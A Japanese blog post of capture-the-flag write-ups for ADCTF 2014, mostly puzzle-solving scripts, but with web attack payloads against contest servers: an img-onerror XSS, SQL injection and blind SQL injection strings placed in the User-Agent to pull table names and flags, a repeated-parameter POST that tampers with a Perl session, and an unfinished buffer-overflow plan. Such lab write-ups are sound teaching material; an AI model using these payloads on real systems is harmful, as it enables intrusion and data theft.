しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

ADCTF2014 write up

ADCTF 2014に参加しました(`・ω・´)

140ptの29位でした(*´ω`*)

クリスマスどころかバレンタインもとうに過ぎ、
ホワイトデーが近づいている今日この頃で今さら感しかありませんが、
write upを置いておきまする。

※公開することを考えて書いたwrite upではないので、いろいろと汚いです←


warmup(misc:1pt)

ASCIIコードになっているので文字列にする。

text = "41444354465f57334c43304d335f37305f414443374632303134"
puts text.scan(/../).map{|a| a.to_i(16).chr} * ""

FLAG:ADCTF_W3LC0M3_70_ADC7F2014

alert man(web:2pt)

<!-- alert検知コードが入っているらしく、こう書いてもうまく動かない -->
<script>alert(43804..toString(36).toUpperCase());</script>

<!-- これならOK -->
<img src=dummy onerror=alert(43804..toString(36).toUpperCase())></img>

alertと共にフラグも表示される。

FLAG:ADCTF_I_4M_4l3Rt_M4n

listen(misc:3pt)

サンプリングレートが1Hzになっていたので、適当に44.1kHzにしてGOM Playerでスロー再生したところ、英語音声が流れた。

FLAG:ADCTF_SOUNDS_GOOD

easyone(reversing:4pt)

gdbで見てみると、いかにも文字列を作ってる処理があったので、ブレークポイントを張って調べた。

FLAG:ADCTF_7H15_15_7oO_345y_FOR_M3

shooting(web:5pt)

Webコンソールで

gamé.end = function(){}

として無敵状態にし、普通にプレイ。

FLAG:ADCTF_1mP05518L3_STG

paths(reversing:6pt)

最短経路を求める問題。

ダイクストラで探索し、スタート→ゴールの順でエッジのコストを出力。

INF = 1 << 31
DEST = 0
COST = 1
E = [
    [[96, 65]],
    [[64, 99], [82, 120], [3, 100], [19, 87], [51, 85], [96, 112], [85, 108], [87, 98], [16, 57], [80, 98], [55, 115], [9, 68], [46, 87], [90, 57], [56, 57], [0, 118], [57, 66], [7, 70], [27, 120], [18, 110], [75, 110], [20, 114], [72, 104], [30, 109], [58, 111], [4, 65], [37, 79], [45, 112]],
    [[24, 88], [91, 67], [58, 112], [13, 52], [72, 70], [15, 97], [36, 75], [52, 71], [31, 78], [76, 109], [26, 78], [29, 101], [32, 109], [65, 117], [22, 53], [96, 119], [30, 77], [2, 77], [6, 115], [71, 122]],
    [[75, 48], [21, 80], [32, 119], [61, 48], [13, 57], [82, 97], [55, 88], [50, 121], [77, 83], [70, 114], [96, 83], [38, 72], [74, 51], [34, 80], [28, 102], [78, 116], [66, 53], [89, 107], [11, 54], [54, 100], [48, 72], [64, 112], [76, 104]],
    [[63, 66], [49, 55], [80, 79], [31, 122], [1, 67], [6, 89], [86, 100], [57, 49], [29, 67], [20, 81], [97, 48], [44, 70], [8, 73], [85, 100]],
    [[38, 55], [5, 119], [97, 68], [10, 72], [11, 106], [35, 106], [73, 83], [17, 115], [7, 106], [60, 52]],
    [[98, 113], [82, 52], [38, 118], [15, 48], [63, 97], [47, 120], [73, 89], [58, 67], [67, 78], [9, 75], [70, 78], [7, 83]],
    [[99, 104], [22, 77], [79, 51]],
    [[46, 72], [42, 79], [57, 51], [59, 89], [41, 90], [19, 75], [14, 88], [33, 86], [13, 107], [20, 121], [48, 115], [45, 99], [25, 54]],
    [[22, 108], [58, 83], [67, 50], [17, 105], [5, 112], [84, 88], [1, 120], [20, 119], [50, 106], [87, 51], [25, 118], [40, 54], [16, 120], [75, 122]],
    [[28, 65], [83, 119], [84, 48], [6, 84], [68, 87], [87, 72], [12, 88], [30, 72], [34, 68], [16, 103], [5, 68], [89, 116], [95, 82], [44, 88], [77, 114], [41, 49], [55, 79], [14, 87], [23, 90], [81, 76], [27, 106], [60, 76]],
    [[36, 74], [15, 69], [16, 49], [85, 83], [53, 118], [91, 52], [31, 76], [28, 82], [3, 55], [89, 86], [47, 68]],
    [[87, 110], [62, 89], [27, 114], [5, 51], [37, 120], [91, 65], [74, 72], [42, 75], [29, 112], [52, 69]],
    [[64, 72], [58, 73], [37, 116], [2, 66], [30, 48], [17, 69], [73, 67], [97, 82], [93, 48], [24, 71], [26, 51]],
    [[98, 52], [43, 100], [71, 98], [51, 56], [66, 95], [52, 75], [29, 65]],
    [[29, 100], [60, 71], [12, 115], [86, 66], [43, 73], [22, 84], [55, 50], [70, 109], [8, 101], [49, 89], [54, 108], [17, 100], [96, 52], [88, 66], [87, 111], [14, 95], [72, 68], [36, 66], [65, 107], [23, 55], [79, 106], [62, 68], [25, 100], [10, 122], [33, 56], [97, 82], [51, 67], [68, 68]],
    [[17, 66], [56, 51], [76, 73], [18, 100], [26, 65], [9, 95], [77, 76], [5, 118], [72, 102], [53, 105], [44, 105], [38, 108], [80, 101], [83, 115], [59, 80], [58, 107], [27, 103]],
    [[89, 85], [81, 49], [41, 85], [52, 121], [59, 87], [96, 117], [10, 70], [2, 101], [68, 99]],
    [[46, 48], [18, 110], [72, 79]],
    [[85, 98], [84, 65], [27, 56], [82, 54], [90, 112], [91, 85], [46, 65], [44, 87], [32, 82], [50, 115]],
    [[29, 102], [72, 97], [82, 80], [4, 83], [41, 68], [5, 73], [71, 104], [2, 78], [70, 68], [88, 121], [26, 56], [56, 117], [25, 82], [15, 85], [67, 106], [8, 108], [38, 80], [10, 73], [77, 111], [28, 72], [66, 71], [24, 73], [30, 85], [42, 57], [61, 102], [60, 110], [31, 51], [96, 82]],
    [[44, 66], [56, 75], [9, 89], [30, 69], [35, 78], [10, 65], [28, 79], [68, 51], [37, 111], [72, 88], [81, 102], [11, 111]],
    [[22, 105], [89, 105], [96, 104], [92, 103]],
    [[83, 97], [16, 86], [37, 67], [70, 117], [56, 83], [2, 65], [68, 85], [88, 70], [50, 54], [31, 68], [18, 115], [42, 79], [90, 48], [92, 88], [86, 86], [6, 68], [55, 119], [3, 111], [64, 56], [72, 101], [24, 52], [22, 72], [0, 106], [53, 50], [34, 106]],
    [[19, 108], [9, 87], [25, 112], [37, 48], [54, 82], [87, 118], [15, 101], [56, 75], [46, 102], [61, 54], [92, 115], [78, 97], [85, 106], [65, 49], [30, 68], [96, 65], [58, 65], [47, 117], [88, 74], [1, 73], [64, 86], [74, 115], [81, 79], [83, 103], [89, 113], [82, 66], [21, 104], [24, 55]],
    [[40, 80], [85, 55], [97, 77], [30, 89], [72, 71], [58, 68], [22, 56]],
    [[48, 74], [77, 49], [18, 119], [41, 78], [90, 112]],
    [[53, 107], [58, 82], [83, 71], [4, 82], [3, 115], [56, 122], [40, 68], [54, 108], [78, 81], [24, 53], [0, 72], [82, 118], [59, 54], [62, 89], [48, 79], [73, 120], [92, 110], [36, 55], [44, 81], [45, 98], [30, 51], [10, 50]],
    [[9, 120], [92, 49], [82, 68], [76, 86], [11, 80], [60, 78], [29, 120], [0, 102]],
    [[59, 67], [80, 113], [52, 110], [68, 75], [32, 106], [86, 98], [39, 55], [89, 103], [29, 111], [50, 68], [76, 102], [63, 80], [43, 90], [37, 83], [5, 48], [51, 79], [7, 118], [46, 49], [73, 67], [78, 89], [49, 67], [90, 51]],
    [[79, 95], [58, 115], [30, 115], [87, 55]],
    [[91, 122], [18, 113], [2, 105], [89, 110], [10, 111], [15, 117], [24, 119], [53, 114], [59, 87], [51, 115], [78, 70], [46, 70], [82, 95], [1, 102], [31, 87], [81, 57], [61, 75], [66, 77], [52, 121], [95, 79], [22, 100], [42, 83], [25, 52], [16, 67]],
    [[73, 107]],
    [[75, 84], [71, 78], [15, 99], [33, 99], [45, 113], [89, 65], [53, 101], [70, 85], [64, 100], [81, 73], [62, 72], [12, 101]],
    [[3, 119], [43, 86], [41, 90], [30, 76], [24, 67], [9, 80], [68, 111], [10, 121], [79, 117], [83, 108], [45, 83], [94, 67], [26, 102], [62, 79]],
    [[94, 51], [85, 69], [96, 74]],
    [[19, 97], [60, 48], [6, 100]],
    [[77, 117], [66, 119], [91, 112], [93, 72], [98, 89], [33, 69], [86, 110], [40, 54], [54, 100], [10, 77], [48, 99], [16, 109], [76, 72], [65, 74], [41, 90], [90, 82], [18, 69], [61, 114], [59, 56], [85, 101], [46, 81], [83, 69], [53, 50], [56, 101], [49, 79], [2, 54]],
    [[85, 52], [48, 95], [55, 118]],
    [[24, 72], [6, 72], [77, 97], [36, 82], [26, 65], [37, 90], [54, 118], [41, 51], [8, 121], [85, 105], [38, 72], [46, 80], [15, 105], [80, 111], [65, 122], [86, 73], [1, 75], [97, 89], [53, 82], [64, 53], [35, 95], [30, 104]],
    [[30, 121], [92, 73], [22, 69], [18, 69], [41, 97]],
    [[35, 67], [70, 86], [97, 69], [7, 84]],
    [[21, 110], [26, 107], [73, 115], [93, 71], [67, 104], [80, 110], [35, 68], [41, 87], [7, 108], [90, 53], [76, 114], [69, 65], [86, 101], [70, 87], [94, 53], [42, 70]],
    [[29, 75], [55, 102], [2, 82], [82, 105], [92, 56], [26, 122], [27, 105], [7, 66], [58, 108]],
    [[35, 53], [28, 69], [91, 102], [21, 83], [89, 71], [41, 108], [69, 100], [94, 77], [25, 70], [93, 53], [50, 85], [6, 87], [34, 86], [85, 84], [38, 79], [12, 82], [57, 53], [72, 66], [11, 115], [79, 112], [83, 108]],
    [[1, 57], [7, 87], [49, 67], [77, 104], [73, 87], [14, 99], [41, 79], [63, 109], [64, 55]],
    [[72, 101], [18, 109], [22, 95]],
    [[44, 68], [26, 98], [71, 100], [10, 84], [2, 75], [39, 107], [76, 103], [77, 65], [14, 101], [19, 69], [62, 120], [86, 101], [34, 57], [18, 74], [90, 121], [7, 56], [83, 105], [56, 109], [69, 51], [60, 104], [96, 100]],
    [[44, 72], [37, 89], [95, 77], [66, 72], [52, 65], [27, 118], [14, 120], [82, 57], [67, 118], [55, 88], [49, 82], [48, 65], [59, 117], [30, 84], [7, 104], [92, 102], [26, 115], [16, 121], [3, 87], [34, 81], [77, 53]],
    [[80, 86], [77, 75], [28, 122], [0, 121]],
    [[28, 84], [44, 74], [86, 108], [54, 97], [7, 51], [52, 98], [79, 49], [55, 109], [98, 72], [32, 52], [12, 115], [23, 112], [29, 106], [42, 86], [92, 112], [84, 90], [78, 120], [0, 110], [59, 118], [90, 83], [34, 78]],
    [[96, 55], [6, 86], [1, 99], [60, 82], [90, 69], [24, 51], [27, 48], [17, 102], [15, 75], [71, 114], [0, 74]],
    [[65, 89], [74, 102]],
    [[90, 49], [89, 100], [86, 88], [79, 50], [0, 90], [71, 82], [75, 69], [85, 101], [88, 88], [53, 108], [81, 70], [67, 111], [56, 109], [40, 55], [55, 56], [14, 68], [2, 97], [35, 54], [48, 105], [11, 122], [43, 103], [23, 57], [61, 49], [95, 53], [68, 52], [7, 111], [62, 116], [59, 52], [46, 52]],
    [[47, 84]],
    [[31, 119], [80, 53], [13, 57], [33, 83], [63, 68], [85, 116], [35, 103], [87, 82], [32, 54], [92, 89], [56, 115]],
    [[88, 66], [79, 100], [25, 69]],
    [[61, 110], [73, 103], [17, 77], [14, 66], [88, 103], [45, 82], [32, 56], [79, 50], [92, 106], [60, 87], [3, 73], [87, 81], [44, 79]],
    [[82, 114]],
    [[74, 53]],
    [[34, 89], [64, 114], [80, 71], [83, 53], [68, 98], [60, 115], [82, 70], [88, 119], [28, 52], [62, 74], [11, 100], [25, 87], [59, 52], [95, 79]],
    [[6, 80]],
    [[0, 122], [95, 51], [48, 53], [59, 108]],
    [[41, 77], [58, 55], [57, 50], [59, 121], [68, 77], [93, 48], [80, 113], [9, 76], [21, 66], [96, 66], [79, 89], [32, 86], [55, 78], [31, 116], [47, 97], [15, 90], [82, 80]],
    [[55, 76], [95, 75], [15, 86], [17, 83], [53, 55], [2, 81]],
    [[55, 118], [71, 87], [20, 79], [69, 99], [97, 56], [12, 79], [56, 87]],
    [[18, 89], [86, 117], [66, 77], [4, 85], [7, 66], [47, 114], [88, 71], [16, 86], [77, 75], [95, 112], [19, 104], [48, 65], [96, 78], [51, 54], [81, 81], [41, 66], [11, 116], [33, 115], [13, 54], [87, 57], [10, 89], [68, 104], [53, 78], [12, 51], [8, 115], [59, 56], [5, 113], [57, 108], [14, 107], [82, 70]],
    [[63, 67], [59, 81], [58, 85]],
    [[66, 110], [25, 85], [85, 69], [40, 80], [94, 90], [10, 113], [68, 70], [47, 53], [87, 68], [52, 78], [80, 107], [55, 70], [30, 108], [58, 73]],
    [[96, 116], [89, 95]],
    [[69, 70]],
    [[57, 107], [58, 82], [77, 86], [36, 107], [11, 111], [84, 108], [29, 75], [5, 100], [43, 119], [13, 104], [69, 121], [25, 85], [68, 51], [93, 89], [76, 98], [49, 69], [23, 90], [90, 99], [78, 79], [3, 87], [87, 122], [15, 121], [18, 71]],
    [[70, 84]],
    [[58, 48], [36, 83], [0, 97], [65, 74], [90, 111]],
    [[69, 112], [79, 108], [97, 104]],
    [[12, 102], [88, 102], [62, 49], [5, 105], [36, 67], [38, 72], [44, 115], [47, 79], [86, 69], [30, 88], [20, 83], [89, 95], [25, 119], [65, 55], [75, 110], [93, 72], [21, 98], [54, 80], [90, 52], [69, 72], [15, 70], [40, 71], [32, 86], [14, 113], [71, 117]],
    [[17, 73], [31, 104]],
    [[51, 117], [5, 52], [11, 100], [16, 117], [80, 70], [85, 67]],
    [[94, 95], [14, 55], [59, 76]],
    [[70, 107], [79, 48], [59, 95]],
    [[50, 76], [72, 50], [64, 72], [7, 85], [77, 112], [3, 106], [91, 115], [55, 55], [57, 55], [49, 54]],
    [[76, 82], [83, 107], [4, 122], [79, 68], [59, 81], [34, 73], [14, 69], [30, 81], [10, 103], [67, 54], [50, 52], [54, 122], [7, 90], [97, 110], [2, 67]],
    [[58, 77], [94, 55], [35, 55]],
    [[23, 65], [41, 52], [48, 76], [83, 99], [26, 116], [16, 76], [57, 121], [2, 100], [18, 53], [87, 53], [21, 66], [66, 108], [72, 88], [91, 103], [63, 105], [9, 89], [11, 102], [67, 72], [96, 101], [1, 55], [39, 108], [28, 108], [12, 72], [54, 55], [89, 105]],
    [[85, 108], [88, 54], [22, 68], [59, 49]],
    [[30, 53], [35, 99], [79, 107], [46, 109]],
    [[61, 121], [22, 121], [91, 119], [2, 77], [71, 78], [66, 48], [14, 116], [79, 82]],
    [[69, 103], [87, 113], [82, 105], [25, 95], [18, 116], [70, 118]],
    [[79, 86], [32, 115], [51, 66], [96, 112], [52, 114]],
    [[72, 122], [18, 71], [96, 106]],
    [[46, 79], [76, 82], [61, 57], [69, 107], [18, 110], [96, 114], [82, 110]],
    [[66, 105], [41, 114], [62, 77], [59, 68], [50, 81], [92, 77], [19, 106], [43, 97], [20, 67], [40, 56], [55, 102], [76, 103], [47, 74], [37, 100], [88, 65], [39, 71], [16, 83], [35, 110], [14, 115], [94, 80], [22, 49], [81, 103], [0, 83], [65, 73], [70, 112], [17, 116], [77, 57], [7, 67]],
    [[79, 111]],
    [[75, 70], [33, 120], [24, 87], [93, 54], [83, 106], [1, 68], [49, 100], [30, 51], [90, 55], [12, 50], [29, 118], [80, 121], [21, 86], [66, 115], [45, 85], [56, 83], [91, 65], [67, 105], [78, 105], [88, 122], [87, 99], [0, 108], [94, 95], [79, 67], [76, 69], [46, 82], [84, 97], [3, 79], [5, 108]],
    [[72, 67]],
    [[41, 65], [42, 98], [36, 108], [82, 113], [37, 101], [18, 115], [9, 105], [77, 102], [34, 111], [83, 86], [70, 73]],
    [[94, 68]],
    [[58, 79], [79, 57]],
    [[67, 50], [19, 107], [93, 51], [69, 74], [60, 118], [46, 77], [2, 90], [86, 66], [84, 51], [30, 118], [32, 56], [63, 86], [51, 97], [98, 103]],
    []
]
start = 0
goal = 99
shortest = 2014

table = Array.new(100){{from:nil, cost:INF}}.tap{|a| a[0][:cost] = 0}
queue = [0]

while queue.length > 0
    from = queue.shift
    E[from].each{|edge|
        if table[edge[DEST]][:cost] > table[from][:cost] + edge[COST]
            table[edge[DEST]][:cost] = table[from][:cost] + edge[COST]
            table[edge[DEST]][:from] = [from, edge[COST]]
            queue << edge[DEST]
        end
    }
end

if table[99][:cost] != shortest
    puts "something wrong"
    p table
else
    past = []
    last = table[99][:from]
    while last != nil
        past << last[COST]
        last = table[last[DEST]][:from]
    end
    puts past.reverse.map{|a| a.chr} * ""
end

FLAG:ADCTF_G0_go_5hOr7E57_PaTh

reader(PPC:7pt)

返ってきた文字列をUTF-8で出力すると、一次元バーコードっぽいものが表示される。
「受信したバーコードをデコードして返す」という処理を10回行うとフラグがとれるとのこと。

あちこち調べたところ、Code 93というフォーマットの一次元バーコードの模様。
仕様を調べてデコーダを書いた。

require "socket"

LEFT_HALF = "\xe2\x96\x8c".bytes
FULL = "\xe2\x96\x88".bytes
RIGHT_HALF = "\xe2\x96\x90".bytes

CODE_93 = {
    "100010100" => "0",
    "101001000" => "1",
    "101000100" => "2",
    "101000010" => "3",
    "100101000" => "4",
    "100100100" => "5",
    "100100010" => "6",
    "101010000" => "7",
    "100010010" => "8",
    "100001010" => "9",
    "110101000" => "A",
    "110100100" => "B",
    "110100010" => "C",
    "110010100" => "D",
    "110010010" => "E",
    "110001010" => "F",
    "101101000" => "G",
    "101100100" => "H",
    "101100010" => "I",
    "100110100" => "J",
    "100011010" => "K",
    "101011000" => "L",
    "101001100" => "M",
    "101000110" => "N",
    "100101100" => "O",
    "100010110" => "P",
    "110110100" => "Q",
    "110110010" => "R",
    "110101100" => "S",
    "110100110" => "T",
    "110010110" => "U",
    "110011010" => "V",
    "101101100" => "W",
    "101100110" => "X",
    "100110110" => "Y",
    "100111010" => "Z",
    "100101110" => " ",
    "111001010" => "$",
    "101101110" => "/",
    "101110110" => "+",
    "110101110" => "%",
    "101011110" => "",
    "1" => ""
}

def decode(bin)
    result = ""

    bin = bin.gsub(/^0+/, "").gsub(/0+$/, "")

    0.step(bin.length - 1, 9){|i|
        if CODE_93.include?(bin[i..i+8])
            result += CODE_93[bin[i..i+8]]
            puts "#{bin[i..i+8]}(#{CODE_93[bin[i..i+8]]})"
        else
            result += "."
            puts "#{bin[i..i+8]}(?)"
        end
    }

    return result[0..-3]
end

def read_code93(code)
    i = 0
    bin = ""

    while i < code.length
        if code[i] == " "
            bin += "0"
            i += 1
        else
            case code[i..i+2].bytes
            when LEFT_HALF
                bin += "10"
            when RIGHT_HALF
                bin += "01"
            when FULL
                bin += "11"
            else
                puts "something wrong"
                p code.bytes.map{|a| "0#{a.to_s(16)}"[-2..-1]}
                puts
            end
            i += 3
        end
    end

    return decode(bin)
end

is_end = false
TCPSocket.open("adctf2014.katsudon.org", 43010){|socket|
    10.times{|i|
        puts i

        s = ""
        while socket.recv(1024).tap{|a| s += a.chomp} !~ /[\r\n]/
        end
        if s == nil || s =~ /wrong|timeout/
            puts s unless s == nil
            is_end = true
            break
        end
        puts s

        print ">"
        socket.send(read_code93(s).tap{|a| puts a}, 0)
    }
    if !is_end
        s = socket.recv(1024)
        puts s
    end
}

FLAG:ADCTF_4R3_y0U_B4rC0d3_R34D3r

rotate(crypto:8pt)

keyと入力を総当たりで変えて暗号化を試し、暗号ファイルと結果が同じかどうかを確認する、という方法で復号。

def pf(x)
    [x].pack('f')
end

filename = "flag.jpg"

enc = IO.binread(filename + ".enc")

for d in 0..360
    key = d * Math::PI / 180.0
    puts "d=#{d}"
    bs = open(filename, "wb")
    flag = false
    dictionary = {}

    0.step(enc.bytes.length, 8) {|i|
        input = enc[i...i+8]
        puts "#{i/4}/#{enc.bytes.length/4}"
        flag = false

        if dictionary.include?(input)
            bs.putc dictionary[input][:x]
            bs.putc dictionary[input][:y]
            flag = true
        else
            for x in -128..127  #Pythonのstruct.unpack('b', x)の戻り値の範囲は-128~127
                if flag == true
                    break
                end
                for y in -128..127
                    if input == (pf(x * Math.cos(key) - y * Math.sin(key)) + pf(x * Math.sin(key) + y * Math.cos(key)))
                        bs.putc x
                        bs.putc y
                        flag = true
                        dictionary[input] = {x:x, y:y}
                        break
                    end
                end
            end
        end
        if !flag
            puts "wrong(#{input})"
            break
        end
    }

    if flag == true
        puts "done"
        break
    end
end

FLAG:ADCTF_TR0t4T3_f4C3

qrgarden(PPC:9pt)

片っ端から読んで、ADCTF_で始まるものを出力。
かなり遅かったので、前半と後半に分けて、2つのプログラムを同時に実行した。

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Drawing;
using ThoughtWorks.QRCode.Codec;  //←CodeProjectで拾ってきたライブラリ
using ThoughtWorks.QRCode.Codec.Data;

namespace QRGarden {
    class Program {
        static void Main(string[] args) {

            using (Bitmap baseImage = new Bitmap("qrgarden.png")) {
                for (int row = 0; row < 100; row++) {
                    for (int col = 0; col < 100; col++) {
                        using (Bitmap qrcode = new Bitmap(93, 93)) {
                            /*QRコードの切り出し*/
                            for (int x = 0; x < 87; x++) {
                                for (int y = 0; y < 87; y++) {
                                    //QRコードの周囲には余白が必要なので、3pxの余白を与える
                                    qrcode.SetPixel(x + 3, y + 3, baseImage.GetPixel(col * 87 + x, row * 87 + y));
                                }
                            }

                            //qrcode.Save(string.Format("./qrcodes/{0}.bmp", row * 100 + col));

                            string text = "";
                            Console.Write("({0}, {1}):", row, col);

                            /*読み取り*/
                            try {
                                QRCodeBitmapImage qrcodeImage = new QRCodeBitmapImage(qrcode);
                                QRCodeDecoder decoder = new QRCodeDecoder();
                                text = decoder.decode(qrcodeImage);
                            } catch(Exception e) {
                                Console.WriteLine(e.ToString());
                            }
                            if (text != "") {
                                Console.WriteLine(text);
                                if (text.StartsWith("ADCTF_")) {
                                    Console.WriteLine("Done");
                                    Console.ReadLine();
                                    return;
                                }
                            } else {
                                Console.WriteLine("Failed");
                            }
                        }
                    }
                }
            }

            Console.WriteLine("Done");
            Console.ReadLine();
        }
    }
}

79行目の左から53番目のコードがフラグ。

FLAG:ADCTF_re4d1n9_Qrc0de_15_FuN

追記 Androidでも使われているバーコード読み取りライブラリ"Zxing"の.NET移植版があったので試したところ、爆速になった。

//上のtry-catchを以下のように書き換える
try {
    ZXing.BarcodeReader reader = new ZXing.BarcodeReader();
    text = reader.Decode(qrcode).Text;
} catch (Exception e) {
    Console.WriteLine(e.ToString());
    writer.WriteLine("Error?");
}

xor(crypto:10pt)

総当たりで探索。

key = "712249146f241d31651a504a1a7372384d173f7f790c2b115f47".scan(/../).map{|a| a.to_i(16)}

flag = []

for i in 0...key.length
    found = false
    for j in 0..255
        if j.chr !~ /[a-zA-Z0-9_]/
            next
        end
        k = j
        if i > 0
            k ^= flag[-1]
        end
        k ^= k >> 4
        k ^= k >> 3
        k ^= k >> 2
        k ^= k >> 1
        if k == key[i]
            putc j.chr
            flag << k
            found = true
            break
        end
    end
    if !found
        puts "something wrong"
        break
    end
end

FLAG:ADCTF_51mpl3_X0R_R3v3r51n6

blacklist(web:11pt)

SQLインジェクションの問題。

ブラウザでUserAgentを変えながらいろいろ試すのがめんどくさかったので、適当にライブラリを作った。

require "net/http"
require "uri"

@default_agent = "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"

def send(agent = @default_agent)
    body = ""
    uri = URI.parse("http://blacklist.adctf2014.katsudon.org/")
    Net::HTTP.start(uri.host){|http|
        request = Net::HTTP::Get.new(uri.path)
        request["User-Agent"] = agent
        body = http.request(request).body
    }
    return body
end

def search(ip = "", id = "")
    body = ""
    uri = URI.parse("http://blacklist.adctf2014.katsudon.org/search")
    Net::HTTP.start(uri.host){|http|
        request = Net::HTTP::Get.new(uri.path + "?ip=#{URI.escape(ip)}&id=#{URI.escape(id)}")
        body = http.request(request).body
    }
    return body
end

UserAgentに'+(数値に変換可能な式)+'を設定してアクセスすると、

INSERT INTO access_log (accessed_at, agent, ip) VALUES (NOW(), ''+(数値に変換可能な式)+'', '$ip')

というSQLが実行されるため、その式の値を知ることができる。

注:MySQLでは文字列→数値への変換は以下のようにして行われる

  • 数値に変換可能な文字列の場合 → そのまま数値に変換
  • 数値に変換できない文字列の場合 → 0

例:UserAgentを'+(select 123)+'にした場合

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>blacklist</title>
</head>
<body>
    <p>sqli, sqli, sqli~~~ we have blacklist. see <a href="/source">source</a>.</p>
    <h2>xxx.xxx.xxx.xxx:</h3>
    <ul>
        <li>[2014-12-11 16:24:50] "123" <a href="/search?ip=xxx.xxx.xxx.xxx&id=21341">search</a></li>
    </ul>
</body>
</html>

このことを利用し、まず以下のSQLでflagテーブルの列名を取得した。

-- 列名の長さを取得 → 15
select char_length(column_name) from information_schema.columns where table_name='flag'

-- 列名のASCIIコードを1文字ずつ取得(i=1~15) → flag is here!!!
select ascii(substr(column_name, i)) from information_schema.columns where table_name='flag'

flagテーブルの列名が分かったところで、同様にしてフラグも取得。

-- フラグの長さを取得 → 33
select char_length(`flag is here!!!`) from flag

-- フラグのASCIIコードを1文字ずつ取得(i=1~33) → ADCTF_d0_NoT_Us3_FUcK1N_8l4ckL1sT
select ascii(substr(`flag is here!!!`, i)) from flag

FLAG:ADCTF_d0_NoT_Us3_FUcK1N_8l4ckL1sT

bruteforce(reversing:12pt)

(´・ω・`)

loginpage(web:13pt)

この脆弱性を利用した問題。

# ソースより
post '/login' => sub {
    my $self = shift;

    my $name = $self->param('name') // '';
    my $pass = $self->param('pass') // '';  # 配列がきた場合、配列の先頭値が評価される

    my $ok = 0;
    my $is_admin;
    open my $fh, '<', "user.txt" or die $!;
    while (defined(my $user = <$fh>)) {
        chomp $user;
        my ($n, $p, $a) = split /:/, $user;
        if ($n eq $name && $p eq $pass) {
            $is_admin = $a;
            $ok = 1;
            last;
        }
    }

    if ($ok) {
        $self->session->{user} = {
            name         => $self->param('name'),
            pass         => $self->param('pass'),  # ここに配列がくると、ハッシュのキーと値を改変することができる
            give_me_flag => 0,
            admin        => $is_admin,
        };
        return $self->redirect_to('/');
    } else {
        return $self->render(text => 'login failed...');
    }
};

事前にregisterページで有効なアカウントを作った後、
name=ID&pass=password&pass=give_me_flag&pass=1&pass=admin&pass=1&pass=0
というデータをPOSTすると、

$self->session->{user} = {
    name         => 'ID',
    pass         => 'password',
    give_me_flag => 1,
    admin        => 1,
    0            => 'give_me_flag',
    0            => 'admin',
    $is_admin    => 0  # 0になるかは要確認……orz
};

という状態のハッシュを作ることができる。

FLAG:ADCTF_L0v3ry_p3rl_c0N73x7

secret table(web:14pt)

Blind SQLiの問題。

we recorded your IP and user agent.

とのことなので、 任意のUser-Agentを指定してアクセスするためのライブラリを作った。

require "net/http"
require "uri"

@default_agent = "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
@uri = URI.parse("http://secrettable.adctf2014.katsudon.org/")

# sqlが正常に実行できなかった場合は500が返ってくるので、それで判断
def check(agent = @default_agent)
    Net::HTTP.start(@uri.host){|http|
        req = Net::HTTP::Get.new(@uri.path)
        req["User-Agent"] = agent
        return http.request(req).body !~ /error/
    }
    sleep(0.5)
end

で、User-Agentをいろいろ変えながらDBやInsert時のSQLを予測。

'
=> Error

'+'
=> OK

'+version()+'
=> Error

'+sqlite_version()+'
=> OK(∴DBはSQLite)

')--
=> OK

ということで、Insert時のSQL

insert into table_name values('IP', 'User-Agent')

だと思われる。

SQLiteはsleep関数に相当するものがないため、time-based-sqliは難しそう(不可能ではないらしい)。
いろいろ試行錯誤していたところ、型変換エラーをうまく利用してBlind SQLiを行えそうだということに気付いた。

'+(select 1 where 1 = 1))--
=> OK

'+(select 1 where 1 = 0))--
=> Error

'+(select 1 where (select count(*) from sqlite_master)>0))--
=> OK
↑任意の条件式が成り立つかどうかを知ることができる

あとは二分探索をしてテーブル名・CREATE TABLE時のSQL・テーブルの内容を取得していった。

-- テーブル数を取得 => 2
select count(*) from sqlite_master where type='table'

-- テーブル名の長さを取得 => 27, 10
select max(length(name)) from sqlite_master where type='table'
select min(length(name)) from sqlite_master where type='table'

-- テーブル名を取得 => super_secret_flag__Ds7KLcV9, access_log
select unicode(substr(name, i, 1)) from sqlite_master where type='table' and length(name)=27

-- CREATE TABLE時のSQLを取得 => CREATE TABLE super_secret_flag__Ds7KLcV9 (yo_yo_you_are_enjoying_blind_sqli TEXT)
select length(sql) from sqlite_master where type='table' and name='super_secret_flag__Ds7KLcV9'
select unicode(substr(sql, i, 1)) from sqlite_master where type='table' and name='super_secret_flag__Ds7KLcV9'

-- フラグの取得 => ADCTF_ERR0r_hELP5_8L1nd_5Ql1
select length(yo_yo_you_are_enjoying_blind_sqli) from super_secret_flag__Ds7KLcV9
select unicode(substr(yo_yo_you_are_enjoying_blind_sqli, i, 1)) from super_secret_flag__Ds7KLcV9

FLAG:ADCTF_ERR0r_hELP5_8L1nd_5Ql1

password checker(reversing:15pt)

Perlスクリプトコンパイルしたバイナリで、逆コンパイルするにはB::Deparseとやらを使えばいいらしい。

ヒント?

いろいろ調べたけど挫折

blind shell(pwnable:16pt)

(*´ω`*)

oh my scanf(pwnable:17pt)

(*´ω`*)

追記(2015/03/16):
解けたのでwriteup投下。

/* gcc -m32 -fno-stack-protector -zexecstack -o oh_my_scanf oh_my_scanf.c */
#include <stdio.h>

int main(void) {
    char name[16];

    setvbuf(stdout, NULL, _IONBF, 0);
    printf("name: ");
    scanf("%s", name);
    printf("hi, %s\n", name);

    return 0;
}

scanfのところでバッファオーバフローさせると、mainからのリターンアドレスを上書きできる。
なので、

  1. mainのリターンアドレスをscanfのアドレスにすることで、2回目のscanfが呼び出される状況を作る
  2. 2回目のscanfで適当なところにシェルコードを読み込む
  3. 2回目のscanfからシェルコードのアドレスへリターンし、シェルを立ち上げる

という方針で攻略する。

メモリマップを見てみると、

$ cat /proc/3063/maps
08048000-08049000 r-xp 00000000 fc:00 414391     /home/sss/ctf/oh_my_scanf
08049000-0804a000 r-xp 00000000 fc:00 414391     /home/sss/ctf/oh_my_scanf
0804a000-0804b000 rwxp 00001000 fc:00 414391     /home/sss/ctf/oh_my_scanf
b7e14000-b7e15000 rwxp 00000000 00:00 0
